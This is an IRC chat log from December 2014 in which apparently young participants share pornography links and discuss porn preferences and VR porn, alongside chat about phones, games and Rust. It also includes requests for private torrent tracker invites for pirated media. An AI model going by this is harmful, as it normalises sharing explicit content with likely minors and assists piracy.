[2014-12-04T01:16:34-0500] <@awe> http://virtualrealporn.com/2014/11/27/new-teen-blowjob-class/ NSFW
[2014-12-04T01:16:50-0500] <+jwoglom> with that url
[2014-12-04T01:16:50-0500] <+LittleBobbyTables> "porn" > NSFW
[2014-12-04T01:16:52-0500] <+LittleBobbyTables> thanks.
[2014-12-04T01:16:53-0500] <+jwoglom> do you even need to mark it nsfw
[2014-12-04T01:16:56-0500] <+LittleBobbyTables> Never would have guessed
[2014-12-04T01:17:15-0500] <@awe> One time, I didn't mark a URL like that as NSFW
[2014-12-04T01:17:18-0500] <@awe> and someone at work clicked it.
[2014-12-04T01:17:19-0500] <@awe> .-.
[2014-12-04T01:17:53-0500] <+Tamini> I thought you were the one
[2014-12-04T01:18:03-0500] <+Tamini> that introduced the whole nsfw thing, nezorg
[2014-12-04T01:18:05-0500] <+Tamini> with your mlp smut
[2014-12-04T01:18:09-0500] <nezorg> shuddup
[2014-12-04T01:18:11-0500] <+LittleBobbyTables> awe
[2014-12-04T01:18:14-0500] <+LittleBobbyTables> fast decision
[2014-12-04T01:18:16-0500] <+LittleBobbyTables> payay 2
[2014-12-04T01:18:18-0500] <+LittleBobbyTables> dead island
[2014-12-04T01:18:25-0500] <+LittleBobbyTables> arma cold war assault
[2014-12-04T01:18:29-0500] <+LittleBobbyTables> which one
[2014-12-04T01:18:30-0500] <@awe> arma.
[2014-12-04T01:18:31-0500] <+Tamini> we need a bot to make those hard decisions
[2014-12-04T01:18:33-0500] <+LittleBobbyTables> payday 2, right?
[2014-12-04T01:18:42-0500] <+Tamini> dead island, just to fuck up the vote counts
[2014-12-04T01:18:43-0500] <+Tamini> :P
[2014-12-04T01:18:56-0500] <+LittleBobbyTables> I can buy arma, it's a buck on steam
[2014-12-04T01:18:57-0500] <@awe> @choose payday 2 or dead island or arma cold war assault
[2014-12-04T01:18:57-0500] <awebot> awe: dead island
[2014-12-04T01:19:01-0500] <@awe> LittleBobbyTables: ^
[2014-12-04T01:19:04-0500] <@awe> LittleBobbyTables: awebot has it.
[2014-12-04T01:19:09-0500] <+LittleBobbyTables> :/
[2014-12-04T01:19:15-0500] <@awe> I hated dead island though.
[2014-12-04T01:19:21-0500] <+LittleBobbyTables> payday it is
[2014-12-04T01:19:43-0500] <+Tamini> wow why did you even need us to chooose
[2014-12-04T01:20:02-0500] <+LittleBobbyTables> Cause I didn't know arma was so cheap
[2014-12-04T01:20:08-0500] <+LittleBobbyTables> And didn't know how dead island's gameplay wa
[2014-12-04T01:20:09-0500] <+LittleBobbyTables> was
[2014-12-04T01:20:27-0500] <@awe> ARMA is sick
[2014-12-04T01:20:39-0500] <nezorg> and now I'm sad we've gotten off that topic
[2014-12-04T01:20:46-0500] <+LittleBobbyTables> awe, favorite pornstar
[2014-12-04T01:20:47-0500] <+LittleBobbyTables> go.
[2014-12-04T01:20:56-0500] <@awe> Camille Crimson
[2014-12-04T01:20:57-0500] <+jwoglom> nezorg: you're the one who semi-started it
[2014-12-04T01:21:00-0500] <+jwoglom> you can start it again
[2014-12-04T01:21:01-0500] <+Tamini> oh damn
[2014-12-04T01:21:16-0500] <+Tamini> awe, actually?
[2014-12-04T01:21:21-0500] <+Tamini> not surprised, but still
[2014-12-04T01:21:33-0500] <@awe> Obviously NSFW: http://www.pornhub.com/view_video.php?viewkey=1000046816
[2014-12-04T01:21:56-0500] <+Tamini> i am now actually
[2014-12-04T01:22:01-0500] <+Tamini> extremely curious about awe's taste in porn
[2014-12-04T01:22:30-0500] <@awe> What do you want to know about it?
[2014-12-04T01:22:51-0500] <+Tamini> eh, nothing specific
[2014-12-04T01:23:03-0500] <@awe> You know I like gingers.
[2014-12-04T01:23:11-0500] <+Tamini> yep, that much i know
[2014-12-04T01:23:13-0500] <@awe> Being a straight male, lesbian porn tends to be sweet.
[2014-12-04T01:23:28-0500] <+Tamini> okay i still dont get that
[2014-12-04T01:23:30-0500] <@awe> I'm not sure how specific would be weird for people here.
[2014-12-04T01:23:42-0500] <@awe> The way it's produced is to cater to men.
[2014-12-04T01:23:48-0500] <+Tamini> well yeah but
[2014-12-04T01:23:52-0500] <+LittleBobbyTables> Porn in general is, though...
[2014-12-04T01:23:57-0500] <@awe> Yes.
[2014-12-04T01:24:05-0500] <+Tamini> what exactly appeals so much to guys about it
[2014-12-04T01:24:16-0500] <@awe> Two hot girls instead of one?
[2014-12-04T01:24:21-0500] <+LittleBobbyTables> Two hot chicks pleasing each other, compared to a dick and a hot chick.
[2014-12-04T01:24:22-0500] <+Tamini> is that really it
[2014-12-04T01:24:29-0500] <+Tamini> but then shouldnt girls be into gay porn
[2014-12-04T01:24:34-0500] <@awe> Not necessarily.
[2014-12-04T01:24:36-0500] <+LittleBobbyTables> Not necessarily.
[2014-12-04T01:24:44-0500] <nezorg> Not necessarily.
[2014-12-04T01:24:46-0500] <nezorg> (lol)
[2014-12-04T01:24:56-0500] <+LittleBobbyTables> They may like the softcore side of porn
[2014-12-04T01:25:00-0500] <@awe> As I've heard it, the trend in female porn-viewing is to be focused on the way in which a man pleases a woman, not on the man itself.
[2014-12-04T01:25:04-0500] <+LittleBobbyTables> I had a conversation about this with someone before.
[2014-12-04T01:25:17-0500] <+LittleBobbyTables> Let me see if I can find it.
[2014-12-04T01:25:18-0500] <@awe> Whereas men are like "holy shit, tits."
[2014-12-04T01:25:40-0500] <+LittleBobbyTables> Oh
[2014-12-04T01:25:41-0500] <+LittleBobbyTables> Which reminds me
[2014-12-04T01:25:42-0500] <nezorg> hmmm... the only other girl I've ever discussed porn with is bi, so I guess that experiences isn't so helpful
[2014-12-04T01:25:51-0500] <+LittleBobbyTables> awe, watch this video
[2014-12-04T01:25:52-0500] <nezorg> s/experiences/experience/
[2014-12-04T01:25:54-0500] <+Tamini> go for it anyway
[2014-12-04T01:25:55-0500] <+LittleBobbyTables> The editing is fucking great
[2014-12-04T01:25:56-0500] <+LittleBobbyTables> http://www.extremetube.com/video/duke-student-belle-knox-shoots-facial-abuse-porn-as-missy-9336491
[2014-12-04T01:26:01-0500] <@awe> Belle Knox is choice.
[2014-12-04T01:26:03-0500] <+LittleBobbyTables> It's not actually porn, really.
[2014-12-04T01:26:05-0500] <@awe> But uhh, my roommate is kind of here.
[2014-12-04T01:26:07-0500] <+LittleBobbyTables> Kind of is.
[2014-12-04T01:26:09-0500] <+LittleBobbyTables> It's cool
[2014-12-04T01:26:10-0500] <+LittleBobbyTables> He won't mind
[2014-12-04T01:26:20-0500] <+jwoglom> that definately looks like porn
[2014-12-04T01:26:27-0500] <@awe> I'll send it to my phone with handoff.
[2014-12-04T01:26:44-0500] <+jwoglom> awe: or you could stream it to a tv
[2014-12-04T01:26:51-0500] <@awe> jwoglom: Yeah, I'll stream it to his TV.
[2014-12-04T01:26:51-0500] <+LittleBobbyTables> Did you even watch all of it
[2014-12-04T01:27:10-0500] <nezorg> jwoglom: chrome for android has that chromecast button in all html5 videos now and it's really scary
[2014-12-04T01:27:31-0500] <@awe> nezorg: going to accidentally send porn to your parents some day with that.
[2014-12-04T01:27:38-0500] <+Tamini> LOL
[2014-12-04T01:27:40-0500] <nezorg> probably, probably
[2014-12-04T01:27:47-0500] <@awe> I almost did that with AirPlay once.
[2014-12-04T01:27:49-0500] <@awe> Like, legitimately.
[2014-12-04T01:27:54-0500] <@awe> I almost put porn on my parent's bedroom tv.
[2014-12-04T01:28:01-0500] <+LittleBobbyTables> My sister got in trouble for my porn when I was like 13
[2014-12-04T01:28:06-0500] <nezorg> awe: how "almost"?
[2014-12-04T01:28:07-0500] <+LittleBobbyTables> or 14, don't remember
[2014-12-04T01:28:20-0500] <+Tamini> lol
[2014-12-04T01:28:22-0500] <@awe> nezorg: I pressed the airplay button and barely missed tapping their TV.
[2014-12-04T01:28:30-0500] <+Tamini> how much older is your sister?
[2014-12-04T01:28:37-0500] <@awe> inb4 she's younger
[2014-12-04T01:28:38-0500] <+Tamini> and awe: that would've been a...interesting discussion to have
[2014-12-04T01:28:41-0500] <+Tamini> LOL
[2014-12-04T01:28:49-0500] <+Tamini> if she was younger, she wouldn't get blamed for his porn
[2014-12-04T01:28:52-0500] <nezorg> awe: veeerrrry nice
[2014-12-04T01:29:03-0500] <+LittleBobbyTables> She's uhh
[2014-12-04T01:29:07-0500] <+LittleBobbyTables> 7 years older
[2014-12-04T01:29:16-0500] <@awe> Tamini: my parents probably wouldn't have cared much, but it would've been awkward.
[2014-12-04T01:30:15-0500] <+Tamini> that's more reasonable
[2014-12-04T01:30:28-0500] <+Tamini> but I don't even know what kind of conversation that would've come down to
[2014-12-04T01:31:43-0500] <+jwoglom> nezorg: you have to select the device you want to cast to after hitting the cast button tho
[2014-12-04T01:31:49-0500] <+jwoglom> so you'd have to make 2 wrong taps
[2014-12-04T01:31:52-0500] <+jwoglom> not like it's just one
[2014-12-04T01:31:54-0500] <@awe> jwoglom: that's the same deal with AirPlay.
[2014-12-04T01:32:18-0500] <+jwoglom> android ftw
[2014-12-04T01:32:26-0500] <+jwoglom> although i use a mac 
[2014-12-04T01:32:30-0500] <+jwoglom> so i'm not sure what that makes me
[2014-12-04T01:32:39-0500] <+Tamini> you dont belong to either
[2014-12-04T01:32:39-0500] <+Tamini> :P
[2014-12-04T01:32:51-0500] <+jwoglom> my google love is exponentially higher than my apple love :P
[2014-12-04T01:32:57-0500] <@awe> Google terrifies me.
[2014-12-04T01:32:59-0500] <Hyper> sadly being a redheaded guy doesn't help much q.q
[2014-12-04T01:33:00-0500] <+jwoglom> i just like the hardware
[2014-12-04T01:33:07-0500] <@awe> Hyper: ;)
[2014-12-04T01:33:16-0500] <nezorg> I have a moto x and a mac running linux
[2014-12-04T01:33:17-0500] <nezorg> what am I
[2014-12-04T01:33:22-0500] <@awe> nezorg: Awesome?
[2014-12-04T01:33:28-0500] <nezorg> awe: correct!
[2014-12-04T01:33:32-0500] <nezorg> :P
[2014-12-04T01:33:32-0500] <@awe> Also, unpopular opinion here but uhh...
[2014-12-04T01:33:36-0500] <@awe> I'd pick Windows Phone over Android any day.
[2014-12-04T01:33:42-0500] <nezorg> why?
[2014-12-04T01:33:46-0500] <@awe> Except maybe Cyanogen. 
[2014-12-04T01:33:49-0500] <+jwoglom> windows phone?
[2014-12-04T01:33:53-0500] <+jwoglom> lol
[2014-12-04T01:33:54-0500] <+Tamini> Hyper: I find that really hot, I can't explain why
[2014-12-04T01:33:54-0500] <+LittleBobbyTables> The only bad thing about Windows Phones
[2014-12-04T01:33:58-0500] <+LittleBobbyTables> Is the app store
[2014-12-04T01:33:59-0500] <@awe> Like I'd probably take a One Plus One over a windows phone.
[2014-12-04T01:34:01-0500] <+Tamini> so realize there are some girls out there :P
[2014-12-04T01:34:14-0500] <+LittleBobbyTables> Unless it's gotten better recently, it's the only reason why I haven't gotten one.
[2014-12-04T01:34:17-0500] <@awe> I just got a red screen of death?
[2014-12-04T01:34:19-0500] <+LittleBobbyTables> Tamini, what's  girl
[2014-12-04T01:34:22-0500] <+jwoglom> just get a nexus device
[2014-12-04T01:34:23-0500] <@awe> My screen just suddenly turned red on my desktop and die.
[2014-12-04T01:34:25-0500] <@awe> died*
[2014-12-04T01:34:27-0500] <nezorg> jwoglom: or a moto x
[2014-12-04T01:34:27-0500] <+Tamini> LittleBobbyTables: it's that thing in porn, remember?
[2014-12-04T01:34:32-0500] <Hyper> xP
[2014-12-04T01:34:34-0500] <+LittleBobbyTables> the one with boobs
[2014-12-04T01:34:35-0500] <+LittleBobbyTables> ?
[2014-12-04T01:34:37-0500] <+Tamini> yeah
[2014-12-04T01:34:41-0500] <+LittleBobbyTables> o ok
[2014-12-04T01:34:43-0500] <@awe> jwoglom: I like Windows Phone because I think it's attractive.
[2014-12-04T01:34:46-0500] <+jwoglom> nezorg: yeah, with google formely owning moto mobility it's basically a non-google nexus
[2014-12-04T01:34:46-0500] <@awe> jwoglom: and it's super performant.
[2014-12-04T01:35:03-0500] <@awe> jwoglom: even on machines with low ram, it runs great.
[2014-12-04T01:35:04-0500] <+jwoglom> awe: so, i guess you could say, you like your phones like you like your women?
[2014-12-04T01:35:14-0500] <@awe> Sharp?
[2014-12-04T01:35:41-0500] <Hyper> Having a high DPI?
[2014-12-04T01:35:48-0500] <+ubuntor> mechanical?
[2014-12-04T01:35:49-0500] <+jwoglom> also like newer android versions work better on bad hardware now
[2014-12-04T01:36:00-0500] <+LittleBobbyTables> DPI is great for games
[2014-12-04T01:36:35-0500] <Hyper> 6k DPI on my mouse plus high sensitivity on the software side
[2014-12-04T01:36:37-0500] <Hyper> only way to play
[2014-12-04T01:36:39-0500] <+jwoglom> are there any twice 1080p/"quad hd" windws phones?
[2014-12-04T01:36:53-0500] <+LittleBobbyTables> Hyper, pls
[2014-12-04T01:36:58-0500] <+LittleBobbyTables> 4k DPI is all you need
[2014-12-04T01:37:05-0500] <Hyper> I need my snap aim man
[2014-12-04T01:37:11-0500] <+LittleBobbyTables> uhh
[2014-12-04T01:37:15-0500] <+LittleBobbyTables> You do FPS on 6k dpi?
[2014-12-04T01:37:16-0500] <+LittleBobbyTables> wtf
[2014-12-04T01:37:22-0500] <Hyper> tf2 <3
[2014-12-04T01:37:32-0500] <+LittleBobbyTables> I do FPS on 1.2k
[2014-12-04T01:37:34-0500] <+LittleBobbyTables> :/
[2014-12-04T01:37:40-0500] <Hyper> I tried that once
[2014-12-04T01:37:47-0500] <+LittleBobbyTables> It's way too high still
[2014-12-04T01:37:49-0500] <+LittleBobbyTables> Might go to like
[2014-12-04T01:37:53-0500] <+LittleBobbyTables> 1k
[2014-12-04T01:38:16-0500] <Hyper> but how can you rocket jump with such low sensitivity? D:
[2014-12-04T01:38:24-0500] <+LittleBobbyTables> I do jump maps
[2014-12-04T01:38:25-0500] <+LittleBobbyTables> :/
[2014-12-04T01:38:31-0500] <+LittleBobbyTables> When I do those it's higher
[2014-12-04T01:38:39-0500] <+LittleBobbyTables> But playing the game itself, 1-1.2k
[2014-12-04T01:38:39-0500] <@awe> jwoglom: For the record, I have an iPhone.
[2014-12-04T01:38:48-0500] <@awe> jwoglom: I'd just take a Windows Phone over an Android.
[2014-12-04T01:38:54-0500] <+jwoglom> awe: yeah i figured since you mentioned handoff
[2014-12-04T01:39:03-0500] <+LittleBobbyTables> Hyper, name some jumpers you know
[2014-12-04T01:39:08-0500] <+Tamini> awe: <3
[2014-12-04T01:39:18-0500] <+jwoglom> awe: android is rediculously more customizable and full featured though
[2014-12-04T01:39:21-0500] <+Tamini> jwoglom gives me so much hate for having an iPhone.
[2014-12-04T01:39:21-0500] <@awe> jwoglom: I think they're all honestly really good though.
[2014-12-04T01:39:29-0500] <+jwoglom> Tamini: you used to have a galaxy nexus!!!
[2014-12-04T01:39:35-0500] <+jwoglom> we were phone buddies
[2014-12-04T01:39:36-0500] <Hyper> LittleBobbyTables: I don't play or watch jump maps
[2014-12-04T01:39:37-0500] <+jwoglom> you ruined it
[2014-12-04T01:39:41-0500] <@awe> jwoglom: I also am a huge fan of Ubuntu Phone.
[2014-12-04T01:39:43-0500] <+Tamini> jwoglom: no, you did first.
[2014-12-04T01:39:44-0500] <nezorg> SOILED IT
[2014-12-04T01:39:50-0500] <@awe> jwoglom: It looks excellent.
[2014-12-04T01:39:55-0500] <+jwoglom> Tamini: wait when'd you switch?
[2014-12-04T01:40:02-0500] <+Tamini> jwoglom: sophomore year, unlike you.
[2014-12-04T01:40:03-0500] <Hyper> I just rj in regular play
[2014-12-04T01:40:07-0500] <+LittleBobbyTables> Why not
[2014-12-04T01:40:08-0500] <+LittleBobbyTables> :/
[2014-12-04T01:40:13-0500] <+LittleBobbyTables> Jumping is so much fun
[2014-12-04T01:40:20-0500] <@awe> I really like square phones, actually.
[2014-12-04T01:40:21-0500] <+LittleBobbyTables> Littleman is <3
[2014-12-04T01:40:25-0500] <+jwoglom> Tamini: i switched to a n5 last december
[2014-12-04T01:41:07-0500] <+Tamini> jwoglom: Wait, I'm pretty sure you switched freshman year too.
[2014-12-04T01:41:10-0500] <+jwoglom> awe: ubuntu phones sold with the OS or the OS itself?
[2014-12-04T01:41:15-0500] <@awe> I like the OS.
[2014-12-04T01:41:20-0500] <@awe> Are there any phones selling with it right now?
[2014-12-04T01:41:26-0500] <+jwoglom> Tamini: i switched directly from a gnex to a n5
[2014-12-04T01:41:29-0500] <+jwoglom> look up when the n5 came out :P
[2014-12-04T01:41:39-0500] <+Tamini> ...Am I confusing you with Habeen
[2014-12-04T01:41:43-0500] <+jwoglom> probably
[2014-12-04T01:41:44-0500] <+Tamini> did we never have matching phone cases
[2014-12-04T01:41:48-0500] <+jwoglom> he also had a galaxy nexus freshman year
[2014-12-04T01:41:58-0500] <+Tamini> because I had matching cases with someone
[2014-12-04T01:42:03-0500] <+jwoglom> then he like switched at some point between marching band seasons
[2014-12-04T01:42:10-0500] <+Tamini> yeah, uh apparently
[2014-12-04T01:42:17-0500] <+Tamini> i've been thinking you were habeen all this time, oops.
[2014-12-04T01:42:19-0500] <+jwoglom> awe: i think there are some, but they're entry level cheap devices
[2014-12-04T01:42:25-0500] <+Tamini> also awe: that looks beautiful.
[2014-12-04T01:42:28-0500] <@awe> I wanted the Edge.
[2014-12-04T01:42:30-0500] <@awe> It was so sexy.
[2014-12-04T01:42:45-0500] <@awe> The operating system is really interesting.
[2014-12-04T01:42:48-0500] <@awe> It does a lot of things differently.
[2014-12-04T01:42:49-0500] <+jwoglom> awe: they were demanding way too much money, honestly, to make it
[2014-12-04T01:42:54-0500] <@awe> I agree.
[2014-12-04T01:42:58-0500] <@awe> They could've made it with the $13m or whatever.
[2014-12-04T01:43:11-0500] <+jwoglom> also, fwiw, running the developer build on a galaxy nexus was a horrific experience
[2014-12-04T01:43:12-0500] <nezorg> awe: sailfish looks nice as well
[2014-12-04T01:43:22-0500] <@awe> jwoglom: Oh, Iknow.
[2014-12-04T01:43:24-0500] <@awe> I know*
[2014-12-04T01:43:26-0500] <+jwoglom> awe: except they used kickstarter or whatever site so they only got the money if they reached it
[2014-12-04T01:43:27-0500] <@awe> It's not really production ready yet.
[2014-12-04T01:43:44-0500] <+jwoglom> i like the idea/concept of sliding from all the sides though
[2014-12-04T01:43:48-0500] <@awe> nezorg: lolno
[2014-12-04T01:43:52-0500] <@awe> nezorg: >Qt
[2014-12-04T01:43:58-0500] <+jwoglom> except that's really hard with small bezels/a case
[2014-12-04T01:44:02-0500] <+jwoglom> and i like small bezels
[2014-12-04T01:44:08-0500] <@awe> jwoglom: >cases
[2014-12-04T01:44:11-0500] <@awe> I hate cases.
[2014-12-04T01:44:15-0500] <@awe> I use a leather sleeve for my iPhone.
[2014-12-04T01:44:17-0500] <nezorg> awe: uh, how do you think ubuntu phone apps are written?
[2014-12-04T01:44:31-0500] <@awe> does it use Qt?
[2014-12-04T01:44:34-0500] <nezorg> yes
[2014-12-04T01:44:39-0500] <+jwoglom> hey, i have a $20 case on my n5 that makes the screen a couple millimeters inset and it helps soo much
[2014-12-04T01:44:48-0500] <@awe> It doesn't look nearly as shitty as sailfish does.
[2014-12-04T01:44:51-0500] <+jwoglom> i can like drop it without the screen shattering
[2014-12-04T01:44:58-0500] <@awe> Sailfish looks painfully like "Hey, I'm an open source project!"
[2014-12-04T01:45:08-0500] <nezorg> awe: ...what? really? I think it looks amazing
[2014-12-04T01:45:20-0500] <@awe> At least the image on the home page looks gross.
[2014-12-04T01:45:28-0500] <nezorg> huh
[2014-12-04T01:45:30-0500] <nezorg> opinions
[2014-12-04T01:45:32-0500] <nezorg> are things
[2014-12-04T01:45:37-0500] <@awe> https://sailfishos.org/index.html
[2014-12-04T01:45:52-0500] <+jwoglom> i just don't think another open source mobile os can survive in the marketplace
[2014-12-04T01:46:02-0500] <@awe> Ubuntu probably can.
[2014-12-04T01:46:05-0500] <+jwoglom> microsoft has thrown shitloads of money at windows phone
[2014-12-04T01:46:06-0500] <nezorg> jwoglom: yeah, probably not, but it's still cool :P
[2014-12-04T01:46:13-0500] <@awe> Well, okay.
[2014-12-04T01:46:20-0500] <@awe> If you define Windows Phone as not surviving, Ubuntu probably can't.
[2014-12-04T01:46:20-0500] <+jwoglom> and they haven't exactly done great
[2014-12-04T01:46:24-0500] <@awe> But I mean, Windows Phone exists.
[2014-12-04T01:46:28-0500] <@awe> You know what sucks?
[2014-12-04T01:46:29-0500] <+jwoglom> it exists, yes
[2014-12-04T01:46:33-0500] <@awe> You can't write Windows Phone apps in F#.
[2014-12-04T01:46:41-0500] <@awe> You know what platforms you can write apps in F# on?
[2014-12-04T01:46:47-0500] <@awe> Both iOS and Android using Xamarin.
[2014-12-04T01:46:54-0500] <+jwoglom> a bunch of companies have said it's basically unprofitable
[2014-12-04T01:46:57-0500] <+jwoglom> no one buys them thi
[2014-12-04T01:46:59-0500] <+jwoglom> o
[2014-12-04T01:47:07-0500] <@awe> Step up your game, Windows Phone.
[2014-12-04T01:47:17-0500] <nezorg> awe: why can't you write windows phone apps in f#?
[2014-12-04T01:47:22-0500] <@awe> nezorg: It doesn't support it.
[2014-12-04T01:47:30-0500] <nezorg> http://visualstudiomagazine.com/articles/2014/09/03/visual-f-sharp-312.aspx
[2014-12-04T01:47:48-0500] <nezorg> yes that is a horrific website
[2014-12-04T01:48:01-0500] <nezorg> oh
[2014-12-04T01:48:03-0500] <nezorg> that's libraries
[2014-12-04T01:48:05-0500] <nezorg> hm
[2014-12-04T01:48:23-0500] <@awe> You can't write UI stuff in F#.
[2014-12-04T01:48:33-0500] <@awe> I wasn't aware they added support for libraries even though.
[2014-12-04T01:48:58-0500] <nezorg> okay, I *really* have to work
[2014-12-04T01:49:00-0500] <nezorg> bye
[2014-12-04T01:49:17-0500] <@awe> Bye, nezorg.
[2014-12-04T01:50:20-0500] <+Tamini> lol
[2014-12-04T01:50:24-0500] <+Tamini> that was you like 2 hours ago
[2014-12-04T01:50:28-0500] <+Tamini> gl nezorg! :P
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[2014-12-04T12:26:33-0500] <@awe> JacobEdelman: you'd suddenly be able to connect as services then. .-.
[2014-12-04T12:29:25-0500] <JacobEdelman> ?
[2014-12-04T12:34:18-0500] <@awe> Pidgey: 
[2014-12-04T12:34:22-0500] <@awe> If he wasn't up
[2014-12-04T12:34:24-0500] <@awe> you could take his nick then.
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[2014-12-04T12:58:26-0500] <@awe> Oh, interesting.
[2014-12-04T12:58:31-0500] <@awe> If I type /sysinfo, it sends that.
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[2014-12-04T13:38:39-0500] <nezorg> awe: apparently all the comparison traits now have a RHS parameter O_O https://github.com/rust-lang/rust/commit/6d965cc2c99787a949d38abf225412fe502d3ed8#diff-80cf6dd9fc3599ca20b17df79eaa7329R64
[2014-12-04T13:38:47-0500] <@awe> Yeah.
[2014-12-04T13:38:58-0500] <@awe> It's part of the ops reform.
[2014-12-04T13:39:04-0500] <@awe> ops and cmp reform.
[2014-12-04T13:39:13-0500] <nezorg> while useful, that's... a bit scary
[2014-12-04T13:39:19-0500] <@awe> Why?
[2014-12-04T13:39:52-0500] <@awe> It's a zero-cost abstraction.
[2014-12-04T13:40:04-0500] <@awe> It allows you to compare, for example, integers of different types without implicit type casts.
[2014-12-04T13:40:12-0500] <@awe> So, there's very well-defined behavior for it.
[2014-12-04T13:40:17-0500] <nezorg> I read some explanation of why haskell doesn't have that somewhere...
[2014-12-04T13:40:22-0500] <nezorg> and it seemed like a good reason
[2014-12-04T13:40:26-0500] • nezorg: tries to find it
[2014-12-04T13:40:52-0500] <@awe> https://github.com/rust-lang/rfcs/blob/master/text/0439-cmp-ops-reform.md
[2014-12-04T13:40:55-0500] <@awe> Here's the arguments they have for it.
[2014-12-04T13:43:40-0500] <@awe> Comparisons are subtle, because some types (notably f32 and f64) do not actually provide full equivalence relations or total orderings. The current design therefore splits the comparison traits into "partial" variants that do not promise full equivalence relations/ordering, and "total" variants which inherit from them but make stronger semantic guarantees.
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[2014-12-04T18:16:46-0500] <JacobEdelman> hmm... private torrent trackers
[2014-12-04T18:16:48-0500] <JacobEdelman> look cool
[2014-12-04T18:16:56-0500] <JacobEdelman> anyone want to give me an invite to one?
[2014-12-04T18:18:21-0500] <benwaffle> hi
[2014-12-04T18:24:52-0500] <alokpathy> benwaffle: Hello
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[2014-12-04T19:15:00-0500] <@awe> JacobEdelman: like what?
[2014-12-04T19:15:04-0500] <@awe> JacobEdelman: I'm a member of a few.
[2014-12-04T19:15:08-0500] <@awe> JacobEdelman: what sort of content do you want?
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[2014-12-04T19:51:37-0500] <+hardmath123> PSA: join tilde.town while you can.
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[2014-12-04T19:58:31-0500] <JacobEdelman> hardmath123: submitted an application
[2014-12-04T19:58:39-0500] <JacobEdelman> awe: tv shows and movies
[2014-12-04T19:58:43-0500] <JacobEdelman> awe: and books
[2014-12-04T19:58:49-0500] <@awe> I got banned from the book one, I think.
[2014-12-04T19:58:55-0500] <JacobEdelman> .... how?
[2014-12-04T19:59:24-0500] <+hardmath123> JacobEdelman: I'm kc@tilde (that connect/disconnect was me trying out irssi from there)
[2014-12-04T19:59:37-0500] <JacobEdelman> ah, cool
[2014-12-04T20:00:49-0500] <JacobEdelman> awe: you got tv shows/movie one?
[2014-12-04T20:00:51-0500] <@awe> Yeah.
[2014-12-04T20:01:25-0500] <@awe> The invite system is closed though.
[2014-12-04T20:11:31-0500] <nezorg> *chirp
[2014-12-04T20:11:34-0500] <nezorg> *
[2014-12-04T20:11:37-0500] <nezorg> *chirp*
[2014-12-04T20:11:41-0500] <nezorg> *chirp*
[2014-12-04T20:12:06-0500] <bob_twinkles> *bang*
[2014-12-04T20:13:18-0500] <JacobEdelman> .... aaqq
[2014-12-04T20:13:21-0500] <JacobEdelman> *awww
[2014-12-04T20:14:11-0500] <alokpathy> wat
[2014-12-04T20:35:38-0500] <JacobEdelman> who?
[2014-12-04T20:45:42-0500] <+LittleBobbyTables> My computer is here :)
[2014-12-04T20:46:04-0500] <+Tamini> yaay
[2014-12-04T20:46:41-0500] <alokpathy> woo
[2014-12-04T20:46:43-0500] <alokpathy> What computer?
[2014-12-04T21:02:25-0500] <JacobEdelman> his computer
[2014-12-04T21:02:26-0500] <JacobEdelman> gtg
[2014-12-04T21:11:24-0500] <@awe> LittleBobbyTables: yay
[2014-12-04T21:12:33-0500] <nezorg> so
[2014-12-04T21:12:36-0500] <nezorg> vr porn is pretty good
[2014-12-04T21:12:53-0500] <+Tamini> lolol
[2014-12-04T21:12:55-0500] <+Tamini> are we going back to that
[2014-12-04T21:12:56-0500] <alokpathy> wat
[2014-12-04T21:13:06-0500] <+Tamini> alokpathy: oh, you missed a 
[2014-12-04T21:13:12-0500] <+Tamini> fun super fun discussion from last night
[2014-12-04T21:13:13-0500] <nezorg> I just tried that playgirls one
[2014-12-04T21:13:17-0500] <+Tamini> oh damn actually
[2014-12-04T21:13:18-0500] <+Tamini> how was it
[2014-12-04T21:13:19-0500] <+Tamini> LOL
[2014-12-04T21:13:24-0500] <nezorg> pretty interesting
[2014-12-04T21:13:27-0500] <alokpathy> wat
[2014-12-04T21:13:31-0500] <+Tamini> be more specific! :P
[2014-12-04T21:13:40-0500] <nezorg> uhh
[2014-12-04T21:13:50-0500] <nezorg> pretty much what you'd expect :P
[2014-12-04T21:13:56-0500] <+Tamini> yo my issue is
[2014-12-04T21:13:59-0500] <nezorg> although I couldn't seem to adjust my body position, which was... weird
[2014-12-04T21:14:00-0500] <+Tamini> i have 0 idea what to expect from this LOL
[2014-12-04T21:14:08-0500] <+Tamini> oh lord, you
[2014-12-04T21:14:22-0500] <alokpathy> I confuzzled
[2014-12-04T21:14:37-0500] <nezorg> alokpathy: http://playgirls.tokyo/index2.html supports the oculus rift
[2014-12-04T21:14:40-0500] <nezorg> I have an oculus rift
[2014-12-04T21:14:43-0500] <nezorg> therefore
[2014-12-04T21:14:44-0500] <nezorg> ...
[2014-12-04T21:15:04-0500] <bob_twinkles> Tamini: we should show this to Gabor, I'm sure he would appreciate it
[2014-12-04T21:15:13-0500] <+Tamini> I mean he's a teenage boy he's morally obligated to find new platforms for porn
[2014-12-04T21:15:24-0500] <+Tamini> bob_twinkles: how about you do that and I watch his reaction :P
[2014-12-04T21:15:34-0500] <bob_twinkles> I think he already hates me enough
[2014-12-04T21:15:49-0500] <nezorg> Tamini: of course
[2014-12-04T21:16:30-0500] <nezorg> unfortunately pretty much none of the demos (really, none of the oculus rift demos) support linux :'(
[2014-12-04T21:16:36-0500] <+Tamini> bob_twinkles: what did you do? D:
[2014-12-04T21:16:37-0500] <+Tamini> and aww
[2014-12-04T21:16:45-0500] <alokpathy> I see
[2014-12-04T21:16:52-0500] <nezorg> then again my laptop doesn't exactly have a great graphics card
[2014-12-04T21:18:10-0500] <nezorg> I am a weird person in some respects
[2014-12-04T21:18:12-0500] <nezorg> but oh well
[2014-12-04T21:18:49-0500] <+Tamini> you just relaized, this?
[2014-12-04T21:18:56-0500] <nezorg> yes
[2014-12-04T21:19:04-0500] <+Tamini> s/relaized,/realized
[2014-12-04T21:19:07-0500] <nezorg> vr porn is literally the only weird thing I've ever done
[2014-12-04T21:19:10-0500] <+Tamini> i think you might be a bit slow
[2014-12-04T21:19:11-0500] <+Tamini> ru sure
[2014-12-04T21:19:14-0500] <nezorg> yes
[2014-12-04T21:19:14-0500] <+Tamini> ru suuuure
[2014-12-04T21:19:15-0500] <nezorg> totally sure
[2014-12-04T21:19:22-0500] <+Tamini> what about your mlp smut
[2014-12-04T21:19:29-0500] <nezorg> ...okay, maybe that too
[2014-12-04T21:19:41-0500] <alokpathy> Tamini: One of the most masculine guys in my school
[2014-12-04T21:19:44-0500] <alokpathy> is a Brony
[2014-12-04T21:19:51-0500] <nezorg> with a capital B?
[2014-12-04T21:19:56-0500] <alokpathy> Yes
[2014-12-04T21:20:10-0500] <alokpathy> not quite a BRony
